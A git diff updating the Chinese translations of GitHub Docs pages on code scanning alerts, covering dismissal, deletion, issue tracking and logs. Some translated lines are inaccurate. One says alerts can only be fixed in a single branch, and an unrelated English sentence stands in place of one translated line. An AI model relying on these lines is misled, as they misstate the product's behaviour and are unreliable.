+可使用自由文本搜索或筛选器显示警报子集,然后依次将所有匹配的警报标记为已关闭。 -Alerts may be fixed in one branch but not in another. You can use the "Branch" filter, on the summary of alerts, to check whether an alert is fixed in a particular branch. +警报只能在一个分支中修复。 您可以在警报摘要上使用“Branch(分支)”过滤器检查警报是否是在特定分支中修复的。 -![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png) +![按分支过滤警报](/assets/images/help/repository/code-scanning-branch-filter.png) -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.code-scanning.filter-non-default-branches %} -{% endif %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} {% data reusables.code-scanning.filter-non-default-branches %} {% endif %} -{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} -{% note %} +{% ifversion fpt or ghes > 3.4 or ghae-issue-6251 or ghec %} {% note %} -**Note:** If you run code scanning using multiple configurations, then sometimes an alert will have multiple analysis origins. Unless you run all configurations regularly, you may see alerts that are fixed in one analysis origin but not in another. For more information, see "[About analysis origins](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)." +注意:如果使用多个配置运行代码扫描,则有时警报会有多个分析源。 除非定期运行所有配置,否则可能会看到在一个分析源中已修复但在另一个分析源中未修复的警报。 有关详细信息,请参阅[关于分析源](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)。 -{% endnote %} -{% endif %} -## Dismissing {% ifversion delete-code-scanning-alerts %}or deleting{% endif %} alerts +{% endnote %} {% endif %} +## 关闭{% ifversion delete-code-scanning-alerts %}或删除{% endif %}警报 -There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. {% ifversion delete-code-scanning-alerts %}Alternatively, if you have admin permissions for the repository, you can delete alerts. Deleting alerts is useful in situations where you have set up a {% data variables.product.prodname_code_scanning %} tool and then decided to remove it, or where you have configured {% data variables.product.prodname_codeql %} analysis with a larger set of queries than you want to continue using, and you've then removed some queries from the tool. In both cases, deleting alerts allows you to clean up your {% data variables.product.prodname_code_scanning %} results. You can delete alerts from the summary list within the **Security** tab.{% endif %} +有两种方法可以关闭警报。 您可以修复代码中的问题,也可以忽略警报。 {% ifversion delete-code-scanning-alerts %}或者,如果你拥有存储库的管理员权限,则可删除警报。 删除警报适用于以下情况:您设置了 {% data variables.product.prodname_code_scanning %} 工具,然后决定删除它,或者您配置了 {% data variables.product.prodname_codeql %} 分析,但查询集超出您的需求,于是您从工具中删除了某些查询。 在这两种情况下,删除警报允许您清理 {% data variables.product.prodname_code_scanning %} 结果。 可以从“安全性”选项卡中的摘要列表中删除警报。{% endif %} -Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab. +取消显示警报是关闭你认为不需要修复的警报的一种方法。 {% data reusables.code-scanning.close-alert-examples %} 你可以从代码中的 {% data variables.product.prodname_code_scanning %} 注释取消显示警报,或者从“安全”选项卡中的摘要列表取消显示警报。 -When you dismiss an alert: +当您忽略警报时: -- It's dismissed in all branches. -- The alert is removed from the number of current alerts for your project. -- The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required. -- The reason why you closed the alert is recorded.{% ifversion comment-dismissed-code-scanning-alert %} -- Optionally, you can comment on a dismissal to record the context of an alert dismissal.{% endif %} -- Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert. +- 它在所有分支中被忽略。 +- 警报将从项目的当前警报数中删除。 +- 警报被移动到警报摘要中的“Closed(已关闭)”列表,需要时您可以在其中重新打开它。 +- 会记录关闭警报的原因。{% ifversion comment-dismissed-code-scanning-alert %} +- (可选)可对关闭操作进行注释以记录警报关闭操作的上下文。{% endif %} +- {% data variables.product.prodname_code_scanning %} 下次运行时,相同的代码将不会生成警报。 -{% ifversion delete-code-scanning-alerts %}When you delete an alert: +{% ifversion delete-code-scanning-alerts %}删除警报时: -- It's deleted in all branches. -- The alert is removed from the number of current alerts for your project. -- It is _not_ added to the "Closed" list in the summary of alerts. -- If the code that generated the alert stays the same, and the same {% data variables.product.prodname_code_scanning %} tool runs again without any configuration changes, the alert will be shown again in your analysis results.{% endif %} +- 它在所有分支中被删除。 +- 警报将从项目的当前警报数中删除。 +- 它不会添加到警报摘要中的“已关闭”列表。 +- 如果生成警报的代码保持不变,并且相同的 {% data variables.product.prodname_code_scanning %} 工具在不更改任何配置的情况下再次运行,则该警报将再次显示在你的分析结果中。{% endif %} -To dismiss {% ifversion delete-code-scanning-alerts %}or delete{% endif %} alerts: +若要关闭{% ifversion delete-code-scanning-alerts %}或删除{% endif %}警报: -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %}{% ifversion delete-code-scanning-alerts %} -1. If you have admin permissions for the repository, and you want to delete alerts for this {% data variables.product.prodname_code_scanning %} tool, select some or all of the check boxes and click **Delete**. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %}{% ifversion delete-code-scanning-alerts %} +1. 如果你拥有存储库管理员权限,并且想要删除此 {% data variables.product.prodname_code_scanning %} 工具的警报,请选中部分或全部复选框,然后单击“删除”。 - ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png) + ![删除警报](/assets/images/help/repository/code-scanning-delete-alerts.png) - Optionally, you can use the free text search or the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. + (可选)可使用自由文本搜索或筛选器显示警报子集,然后一次删除所有匹配的警报。 例如,如果您从 {% data variables.product.prodname_codeql %} 分析中删除了查询,您可以使用“Rule(规则)”过滤器仅列出该查询的警报,然后选择并删除所有这些警报。 -{% ifversion ghes or ghae %} - ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png) -{% else %} - ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) -{% endif %}{% endif %} -1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. -![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png) -{%- ifversion comment-dismissed-code-scanning-alert %} -1. Review the alert, then click **Dismiss alert** and choose, or type, a reason for closing the alert. - ![Screenshot of code scanning alert with dropdown to choose dismissal reason emphasized](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) -{%- else %} -1. Review the alert, then click **Dismiss** and choose a reason for closing the alert. - ![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) -{%- endif %} - {% data reusables.code-scanning.choose-alert-dismissal-reason %} +{% ifversion ghes or ghae %} ![按规则筛选警报](/assets/images/help/repository/code-scanning-filter-by-rule.png) {% else %} ![按规则筛选警报](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) {% endif %}{% endif %} +1. 如果要忽略警报,请务必先了解警报,以便选择正确的忽略原因。 单击要了解的警报。 +![从摘要列表中打开警报](/assets/images/help/repository/code-scanning-click-alert.png) {%- ifversion comment-dismissed-code-scanning-alert %} +1. 查看警报,然后单击“消除警报”并选择或键入关闭警报的原因。 + ![代码扫描警报的屏幕截图,其中突出显示了用于选择关闭原因的下拉列表](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) {%- else %} +1. 查看警报,然后单击“取消显示”并选择取消显示警报的原因。 + ![选择消除警报的原因](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) {%- endif %} {% data reusables.code-scanning.choose-alert-dismissal-reason %} {% data reusables.code-scanning.false-positive-fix-codeql %} -### Dismissing multiple alerts at once +### 一次忽略多个警报 -If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability. +如果项目有多个由于相同原因要忽略的警报,您可以从警报摘要中批量忽略它们。 通常,您需要过滤列表,然后忽略所有匹配的警报。 例如,您可能想要忽略项目中所有已标记为特定通用缺陷枚举 (CWE) 漏洞的当前警报。 -## Further reading +## 延伸阅读 -- "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" -- "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" -- "[About integration with {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-integration-with-code-scanning)" +- [会审拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests) +- [为存储库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository) +- [关于与 {% data variables.product.prodname_code_scanning %} 的集成](/code-security/secure-coding/about-integration-with-code-scanning) diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md index ac00737cbc..353595ff37 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md @@ -1,7 +1,7 @@ --- -title: Tracking code scanning alerts in issues using task lists +title: 使用任务列表跟踪问题中的代码扫描警报 shortTitle: Track alerts in issues -intro: You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts. +intro: 您可以使用任务列表将代码扫描警报添加到议题中。 这样可以轻松创建包括修复警报在内的开发工作计划。 product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permission to a repository you can track {% data variables.product.prodname_code_scanning %} alerts in issues using task lists.' versions: @@ -13,76 +13,68 @@ topics: - Alerts - Repositories - Issues +ms.openlocfilehash: a5112bc5982415865a47d752af4e980a2e3d12ea +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145099102' --- - {% data reusables.code-scanning.beta-alert-tracking-in-issues %} -## About tracking {% data variables.product.prodname_code_scanning %} alerts in issues +## 关于跟踪议题中的 {% data variables.product.prodname_code_scanning %} 警报 {% data reusables.code-scanning.github-issues-integration %} -You can also create a new issue to track an alert: -- From a {% data variables.product.prodname_code_scanning %} alert, which automatically adds the code scanning alert to a task list in the new issue. For more information, see "[Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert)" below. +您还可以创建新议题来跟踪警报: +- 从 {% data variables.product.prodname_code_scanning %} 警报创建,这会自动将代码扫描警报添加到新议题的任务列表中。 有关详细信息,请参阅下面的“[从 {% data variables.product.prodname_code_scanning %} 警报创建跟踪问题](#creating-a-tracking-issue-from-a-code-scanning-alert)”。 -- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship: +- 像往常一样通过 API 创建,然后在议题正文中提供代码扫描链接。 您必须使用任务列表语法来创建跟踪关系: - `- [ ] ` - - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the code scanning alert that has an ID number of 17 in the "Security" tab of the `octocat-repo` repository in the `octocat-org` organization. + - 例如,如果将 `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` 添加到问题,该问题将在 `octocat-org` 组织的 `octocat-repo` 存储库的“安全性”选项卡中跟踪 ID 号为 17 的代码扫描警报。 -You can use more than one issue to track the same {% data variables.product.prodname_code_scanning %} alert, and issues can belong to different repositories from the repository where the {% data variables.product.prodname_code_scanning %} alert was found. +您可以使用多个议题来跟踪同一 {% data variables.product.prodname_code_scanning %} 警报,并且议题可属于找到 {% data variables.product.prodname_code_scanning %} 警报的存储库中的不同存储库。 -{% data variables.product.product_name %} provides visual cues in different locations of the user interface to indicate when you are tracking {% data variables.product.prodname_code_scanning %} alerts in issues. +{% data variables.product.product_name %} 在用户界面的不同位置提供视觉提示,以指示何时跟踪议题中的 {% data variables.product.prodname_code_scanning %} 警报。 -- The code scanning alerts list page will show which alerts are tracked in issues so that you can view at a glance which alerts still require processing. +- 代码扫描警报列表页将显示在议题中跟踪的警报,以便您可以一目了然地查看哪些警报仍需要处理。 - ![Tracked in pill on code scanning alert page](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png) + ![代码扫描警报页面上的跟踪片](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png) -- A "tracked in" section will also show in the corresponding alert page. +- “tracked in(跟踪)”部分也会显示在相应的警报页面中。 - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} - ![Tracked in section on code scanning alert page](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png) - {% else %} - ![Tracked in section on code scanning alert page](/assets/images/enterprise/3.4/repository/code-scanning-alert-tracked-in-pill.png) - {% endif %} + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} ![代码扫描警报页面上的跟踪部分](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png) {% else %} ![代码扫描警报页面上的跟踪部分](/assets/images/enterprise/3.4/repository/code-scanning-alert-tracked-in-pill.png) {% endif %} -- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. +- 在跟踪议题上,{% data variables.product.prodname_dotcom %} 会在任务列表和悬停卡上显示安全徽章图标。 {% note %} - Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL. + 只有对存储库具有写入权限的用户才能看到议题中警报的展开 URL 以及悬停卡片。 对于对存储库具有读取权限或根本没有权限的用户,警报将显示为纯 URL。 {% endnote %} - The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change. + 图标的颜色为灰色,因为警报在每个分支上的状态为“打开”或“关闭”。 议题跟踪警报,因此警报在议题中不能具有单个打开/关闭状态。 如果一个分支上的警报已关闭,则图标颜色不变。 - ![Hovercard in tracking issue](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png) + ![跟踪议题中的悬停卡](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png) -The status of the tracked alert won't change if you change the checkbox state of the corresponding task list item (checked/unchecked) in the issue. +如果更改议题中相应任务列表项的复选框状态(选中/未选中),则跟踪的警报状态不会更改。 -## Creating a tracking issue from a code scanning alert +## 从代码扫描警报创建跟踪议题 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -{% ifversion fpt or ghes or ghae %} -{% data reusables.code-scanning.explore-alert %} -1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)." +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} {% ifversion fpt or ghes or ghae %} {% data reusables.code-scanning.explore-alert %} +1. (可选)若要查找要跟踪的警报,可以使用自由文本搜索或下拉菜单来筛选和定位警报。 有关详细信息,请参阅“[管理存储库的代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)”。 {% endif %} -1. Towards the top of the page, on the right side, click **Create issue**. - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} - ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png) - {% else %} - ![Create a tracking issue for the code scanning alert](/assets/images/enterprise/3.4/repository/code-scanning-create-issue-for-alert.png) - {% endif %} - {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item. - {% data variables.product.prodname_dotcom %} prepopulates the issue: - - The title contains the name of the {% data variables.product.prodname_code_scanning %} alert. - - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. -2. Optionally, edit the title and the body of the issue. +1. 在页面顶部的右侧,单击“创建问题”。 + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} ![为代码扫描警报创建跟踪问题](/assets/images/help/repository/code-scanning-create-issue-for-alert.png) {% else %} ![为代码扫描警报创建跟踪问题](/assets/images/enterprise/3.4/repository/code-scanning-create-issue-for-alert.png) {% endif %} {% data variables.product.prodname_dotcom %} 自动创建问题以跟踪警报并将警报添加为任务列表项。 + {% data variables.product.prodname_dotcom %} 会预填议题: + - 标题包含 {% data variables.product.prodname_code_scanning %} 警报的名称。 + - 正文包含任务列表项,其中包含 {% data variables.product.prodname_code_scanning %} 警报的完整 URL。 +2. (可选)编辑议题的标题和正文。 {% warning %} - **Warning:** You may want to edit the title of the issue as it may expose security information. You can also edit the body of the issue, but do not edit the task list item or the issue will no longer track the alert. + 警告:你可能需要编辑问题的标题,因为它可能会暴露安全信息。 您还可以编辑议题的正文,但不要编辑任务列表项,否则议题将不再跟踪警报。 {% endwarning %} - ![New tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-new-tracking-issue.png) -3. Click **Submit new issue**. + ![代码扫描警报的新跟踪议题](/assets/images/help/repository/code-scanning-new-tracking-issue.png) +3. 单击“提交新问题”。 diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md index 2066a0a5cc..9a082c7088 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md @@ -1,6 +1,6 @@ --- -title: Viewing code scanning logs -intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.location.product_location %}.' +title: 查看代码扫描日志 +intro: '您可以在 {% data variables.product.product_location %} 中查看 {% data variables.product.prodname_code_scanning %} 分析期间生成的输出。' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.' miniTocMaxHeadingLevel: 4 @@ -14,69 +14,73 @@ versions: topics: - Security shortTitle: View code scanning logs +ms.openlocfilehash: e4f4c3e601540e02c01bbe3761a11528a746a519 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147444627' --- +{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -{% data reusables.code-scanning.beta %} -{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} +## 关于第三方 {% data variables.product.prodname_code_scanning %} 设置 -## About your {% data variables.product.prodname_code_scanning %} setup +您可以使用各种工具在仓库中设置 {% data variables.product.prodname_code_scanning %} 。 有关详细信息,请参阅“[为存储库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)”。 -You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)." +您可用的日志和诊断信息取决于您在 {% data variables.product.prodname_code_scanning %} 中使用的方法。 你可以使用警报列表中的“工具”下拉菜单,检查存储库的“安全性”选项卡中使用的 {% data variables.product.prodname_code_scanning %} 类型。 有关详细信息,请参阅“[管理存储库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 -The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." +## 关于分析和诊断信息 -## About analysis and diagnostic information +您可以使用 {% data variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_codeql %} 分析查看 {% data variables.product.prodname_code_scanning %} 运行的分析和诊断信息。 -You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. +在警报列表顶部的标题中显示最近分析的“分析”信息。 有关详细信息,请参阅“[管理存储库的代码扫描警报](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 -**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." +“诊断”信息显示在行动工作流日志中,包含摘要指标和提取器诊断。 有关访问 {% data variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_code_scanning %} 日志的信息,请参阅下面的“[查看 {% data variables.product.prodname_code_scanning %} 的日志记录输出](#viewing-the-logging-output-from-code-scanning)”。 -**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below. +如果您在 {% data variables.product.prodname_dotcom %} 外部使用 {% data variables.product.prodname_codeql_cli %} ,您将在数据库分析期间生成的输出中看到诊断信息。 此信息也包含在您随 {% data variables.product.prodname_code_scanning %} 结果上传到 {% data variables.product.prodname_dotcom %} 的 SARIF 结果文件中。 -If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results. +有关 {% data variables.product.prodname_codeql_cli %} 的信息,请参阅“[在 CI 系统中配置 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)”。 -For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)." - -### About summary metrics +### 关于摘要指标 {% data reusables.code-scanning.summary-metrics %} -### About {% data variables.product.prodname_codeql %} source code extraction diagnostics +### 关于 {% data variables.product.prodname_codeql %} 源代码提取诊断信息 {% data reusables.code-scanning.extractor-diagnostics %} {% ifversion codeql-action-debug-logging %} -You can see more detailed information about {% data variables.product.prodname_codeql %} extractor errors and warnings that occurred during database creation by enabling debug logging. For more information, see "[Troubleshooting the CodeQL workflow](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow#creating-codeql-debugging-artifacts-by-re-running-jobs-with-debug-logging-enabled)." +通过启用调试日志记录,可以查看有关在创建数据库期间发生的 {% data variables.product.prodname_codeql %} 提取器错误和警告的更多详细信息。 有关详细信息,请参阅“[对 CodeQL 工作流进行故障排除](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow#creating-codeql-debugging-artifacts-by-re-running-jobs-with-debug-logging-enabled)”。 {% endif %} -## Viewing the logging output from {% data variables.product.prodname_code_scanning %} +## 查看来自 {% data variables.product.prodname_code_scanning %} 的日志记录输出 -This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party). +本节适用于使用 {% data variables.product.prodname_code_scanning %} 的 {% data variables.product.prodname_actions %} 运行({% data variables.product.prodname_codeql %} 或第三方)。 -After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. +为仓库设置 {% data variables.product.prodname_code_scanning %} 后,您可以关注操作运行时的输出。 {% data reusables.repositories.actions-tab %} - You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. + You can view the run status of {% data variables.product.prodname_code_scanning %} and get notifications for completed runs. For more information, see "Managing a workflow run" and "Configuring notifications." 条目的文本是提交消息的标题。 - ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) + ![显示 {% data variables.product.prodname_code_scanning %} 工作流的操作列表](/assets/images/help/repository/code-scanning-actions-list.png) -1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. +1. 单击 {% data variables.product.prodname_code_scanning %} 工作流程的项目。 -2. Click the job name on the left. For example, **Analyze (LANGUAGE)**. +2. 单击左侧的作业名称。 例如,“分析(语言)”。 - ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + ![{% data variables.product.prodname_code_scanning %} 工作流程的日志输出](/assets/images/help/repository/code-scanning-logging-analyze-action.png) -1. Review the logging output from the actions in this workflow as they run. +1. 查看此工作流运行时操作的日志记录输出。 -1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." +1. 在所有作业完成后,您可以查看已识别的任何 {% data variables.product.prodname_code_scanning %} 警报的详细信息。 有关详细信息,请参阅“[管理存储库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 {% note %} -**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. +注意:如果发起将 {% data variables.product.prodname_code_scanning %} 工作流添加到存储库的拉取请求,则在合并拉取请求之前,来自该拉取请求的警报不会直接显示在 {% data variables.product.prodname_code_scanning_capc %} 页面上。 如果发现任何警报,你可以在合并拉取请求之前查看这些警报,方法是在 {% data variables.product.prodname_code_scanning_capc %} 页面的横幅中单击“发现 n 条警报”的链接。 -![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) +![单击“发现的 n 条警报”链接](/assets/images/help/repository/code-scanning-alerts-found-link.png) {% endnote %} diff --git a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md index 91b0d93bb8..30e5c22aa7 100644 --- a/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md +++ b/translations/zh-CN/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md @@ -1,7 +1,7 @@ --- -title: About integration with code scanning +title: 关于与代码扫描的集成 shortTitle: About integration -intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or set up webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.' +intro: '您可以在外部执行 {% data variables.product.prodname_code_scanning %},然后在 {% data variables.product.prodname_dotcom %} 中显示结果,或者设置侦听仓库中 {% data variables.product.prodname_code_scanning %} 活动的 web 挂钩。' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning @@ -18,26 +18,27 @@ topics: - Code scanning - Webhooks - Integration +ms.openlocfilehash: b12f5146a90cae0ed1bd38d452e43eb611232e72 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145099099' --- +{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} +作为在 {% data variables.product.prodname_dotcom %} 中运行 {% data variables.product.prodname_code_scanning %} 